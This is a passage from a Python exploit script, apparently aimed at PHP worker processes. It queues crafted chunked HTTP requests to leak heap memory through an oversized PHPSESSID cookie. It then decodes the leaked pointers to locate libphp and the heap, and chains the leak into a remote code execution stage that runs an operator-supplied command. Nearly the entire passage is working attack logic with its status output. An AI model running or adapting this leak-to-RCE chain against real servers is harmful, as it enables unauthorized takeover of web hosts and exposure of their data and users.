build_a1_body(a1, args)
a1_response = tmp / "a1.resp"
b1 = tmp / "b1.bin"
build_leak_body(b1, args)
b1_response = tmp / "b1.resp"
# Queue B1 while A1 owns the only unpinned worker. Waiting for
# A1's response before connecting B1 leaves a small accept() race
# in which a newly forked child can consume B1 and lose PS(id).
# Two clean cycles force a residual retirement-marked child to
# exit, then bind the surviving/fresh replacement while N-1 other
# workers remain pinned.
old_holder = holders.pop(queued_release_index)
rebound = None
for rebind_attempt in range(1, 3):
old_port = old_holder.getsockname()[1]
try:
cleanly_release_holder(
old_holder, args.host, args.port, args.path, 15.0)
except (OSError, RuntimeError) as exc:
close_holder(old_holder)
print(f"[*] clean rebind probe closed early: {exc}")
started = time.monotonic()
rebound = open_accepted_holder(args.host, args.port, 30.0)
print(f"[*] rebind attempt={rebind_attempt} old_port={old_port} "
f"new_port={rebound.getsockname()[1]} "
f"elapsed={time.monotonic() - started:.3f}s")
if rebind_attempt == 1:
old_holder = rebound
assert rebound is not None
holders.append(rebound)
queued_release_index = len(holders) - 1
if args.pause_after_rebind:
print(f"[*] pausing {args.pause_after_rebind:g}s after rebind")
time.sleep(args.pause_after_rebind)
a1_process = start_chunked(
args.host, args.port, args.path + args.query, a1,
a1_response, 180.0)
# Queue both connections before releasing the lane. FIFO ordering
# keeps B1 behind A1 even when A1 reaches OOM immediately.
time.sleep(0.25)
b1_process = start_chunked(
args.host, args.port, args.path, b1, b1_response,
args.timeout)
time.sleep(0.05)
released = holders.pop(queued_release_index)
local_port = released.getsockname()[1]
close_holder(released)
print(f"[*] released rebound holder client_port={local_port} "
"into queued A1/B1")
finish_chunked(a1_process, a1_response, 200.0)
print(f"[*] A1 response={a1_response.stat().st_size}")
response = finish_chunked(b1_process, b1_response,
args.timeout + 30.0)
encoded = cookie_value(response)
print(f"[*] B1 response={len(response)} encoded_cookie={len(encoded)}")
if not encoded:
print("[-] no Set-Cookie PHPSESSID value")
return 1
result = summarize_cookie(encoded, args.pointer_floor)
decoded = result["decoded"]
pointers = result["pointers"]
print(f"[*] decoded_cookie={len(decoded)} candidates={len(pointers)}")
for value, count in result["top"]:
print(f" {value:#014x} count={count}")
if len(decoded) <= 256:
print(f"[-] normal-size cookie: {decoded!r}")
return 2
if pointers:
dominant, count = pointers.most_common(1)[0]
libphp = dominant - args.zval_ptr_dtor_offset
buckets = Counter()
for value, value_count in pointers.items():
buckets[value & ~0x1FFFFF] += value_count
print(f"[+] dominant={dominant:#x} count={count} "
f"libphp_candidate={libphp:#x}")
print("[+] 2MiB pointer buckets: " + repr([
(hex(base), bucket_count)
for base, bucket_count in buckets.most_common(8)
]))
print("[+] overlong Set-Cookie disclosure reproduced")
if args.rce is not None:
if not pointers:
print("[-] cannot run RCE without a module pointer")
return 3
if count < 100 or libphp & 0x1FFFFF:
print("[-] dominant pointer failed the exact-build profile")
return 4
heap = libphp + args.heap_from_lib_delta
if not buckets.get(heap):
print("[-] derived main chunk is absent from leak buckets")
return 5
print(f"[+] derived main_chunk={heap:#x} "
f"(libphp+{args.heap_from_lib_delta:#x})")
sys.stdout.flush()
if args.pause_before_rce:
print(f"[*] pausing {args.pause_before_rce:g}s before RCE",
flush=True)
time.sleep(args.pause_before_rce)
time.sleep(0.2)
proof_url = (DEFAULT_RCE_PROOF_URL
if args.rce == DEFAULT_RCE_COMMAND else None)
rce_verified = amplified_rce(
args, heap, libphp, args.rce, proof_url)
if rce_verified is False:
print("[-] composed leak-to-RCE stage failed")
return 6
if rce_verified:
print("[+] composed leak-to-RCE chain succeeded")
else:
print("[?] composed leak-to-RCE payload delivered; "
"execution unverified")
return 0
finally:
holder_stop.set()
holder_thread.join(timeout=2)
for sock in holders:
try:
sock.close()
except OSError:
pass
if __name__ == "__main__":
raise SystemExit(main())